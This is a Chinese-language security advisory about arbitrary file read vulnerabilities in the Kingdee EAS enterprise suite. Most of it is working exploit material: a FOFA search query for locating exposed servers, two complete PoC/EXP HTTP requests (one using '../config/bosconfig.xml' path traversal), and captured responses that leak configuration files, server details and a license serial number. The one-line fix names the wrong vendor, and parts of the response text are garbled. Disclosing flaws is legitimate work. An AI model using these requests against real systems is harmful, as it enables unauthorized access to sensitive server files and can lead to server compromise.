

关于金蝶EAS系统接口任意文件读取漏洞预警

漏洞描述

金蝶 EAS 是金蝶软件公司推出的一套企业级应用软件套件，旨在帮助企业实现全面的管理和业务流程优化。金蝶 EAS 在 pdfViewLocal和easWebClient/deploy 存在任意文件读取漏洞，攻击者可以读取敏感文件，从而可能导致服务器受到攻击并被控制。

影响范围

金蝶OA EAS系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	中
利用难度	低

漏洞复现

FOFA: header="Apusic" || body="eassso" || header="EASSESSIONID"

POC/EXP:

```
GET /easWebClient/deploy/client/ctrlhome/webapps/extweb/WEB-INF/web.xml HTTP/1.1
Host: 127.0.0.1:8080
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/120.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

Request		Response	
F	Raw Hex	Pretty Raw Hex Render	
1	GET /easWebClient/deploy/client/ctrlhome/webapps/extweb/WEB-INF/web.xml	1	HTTP/1.1 200 OK
2	HTTP/1.1	2	date: Fri, 05 Jan 2024 14:06:13 GMT
3	Host: 127.0.0.1:6888	3	cache-control: public,max-age=315360000
4	DNT: 1	4	etag: FTS1413880997000-516
5	Upgrade-Insecure-Requests: 1	5	vary: user-agent
6	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36	6	content-length: 516
7	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7	7	last-modified: Tue, 21 Oct 2014 16:43:17 GMT
8	Accept-Encoding: gzip, deflate	8	content-type: application/octet-stream
9	Accept-Language: zh-CN,zh;q=0.9	9	connection: close
10	Connection: close	10	
11		11	<?xml version="1.0" encoding="ISO-8859-1"?>
		12	<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3/EN" "http://java.sun.com/dtd/web-app_2_3.dtd" >
		13	<web-app>
		14	<servlet>
		15	<servlet-name>MobilePreviewServlet</servlet-name>
		16	<servlet-class>com.kingdee.eas.mobileaccess.ext.web.client.MobilePreviewServlet</servlet-class>
		17	</servlet>
		18	<servlet-mapping>
		19	<servlet-name>MobilePreviewServlet</servlet-name>
		20	<url-pattern>/servlet/MobilePreviewServlet</url-pattern>
		21	</servlet-mapping>
		22	</web-app>
		23	
		24	
		25	

POC/EXP:

GET /easweb/cp/dm/pdfViewLocal.jsp?path=../config/bosconfig.xml HTTP/1.1

Host: 127.0.0.1:6888

DNT: 1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Request

PrettyRawHex

1GET /easweb/cp/dm/pdfViewLocal.jsp?path=../config/bosconfig.xml HTTP/1.1

2Host: 6888

3DNT: 1

4Upgrade-Insecure-Requests: 1

5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

7Accept-Encoding: gzip, deflate

8Accept-Language: zh-CN,zh;q=0.9

9Connection: close

10

11

Response

PrettyRawHexRender

1HTTP/1.1 200 OK

2Content-Disposition: inline; filename="..%2Fconfig%2Fbosconfig.xml"

3Date: Fri, 05 Jan 2024 05:31:23 GMT

4Server: Apusic Application Server/9.0 (Windows Server 2012 R2 6.3 amd64; JDK 1.7.0_80)

5Content-Type: application/pdf

6Connection: close

7Set-Cookie: JSESSIONID=wKgBMhroZZeUK-d2VIlhUk3Dnt8uTCc7ksAA; path=/; HttpOnly

8Content-Length: 14694

9

10<?xml version="1.0" encoding="UTF-8"?>

11<!-- edited with XMLSPY v5 rel. 2 U (http://www.xmlspy.com) by whli (asdf) -->

12<config>

13<configitem name="DebugOptions">

14<attribute key="cacheLazyLoad" value="false" />

15<attribute key="criticalCollection" value="100000" />

16<attribute key="criticalIDList" value="100000" />

17<attribute key="criticalQueryPKs" value="100000" />

18<attribute key="exceptionCellNumber" value="1000000" />

19</configitem>

20<configitem name="loginContextFilters">

21<attribute key="1"

22value="com.kingdee.eas.base.uiframe.app.LoginContextFilterImpl" />

23</configitem>

24<!--

25===== é \$ é * >

26 é == -->

27<!-- License

28 é ===== -->

29<configitem name="LicenseFile">

30<!-- é é Reader -->

31<attribute key="LicenseFileReader"

32value="com.kingdee.eas.base.license.file.EASLicenseFileReader" />

33<!-- é \$ -->

34<attribute key="SoftwareName" value="KINGDEE EAS" />

35<!-- é -->

36<attribute key="SerialNumber" value="B43-WR8-391-JB1" />

37</configitem>

38<!--

39===== é >

40-->

41<configitem name="MessageService">

修复方案

官方修复：关注金和官方最新漏洞修复补丁。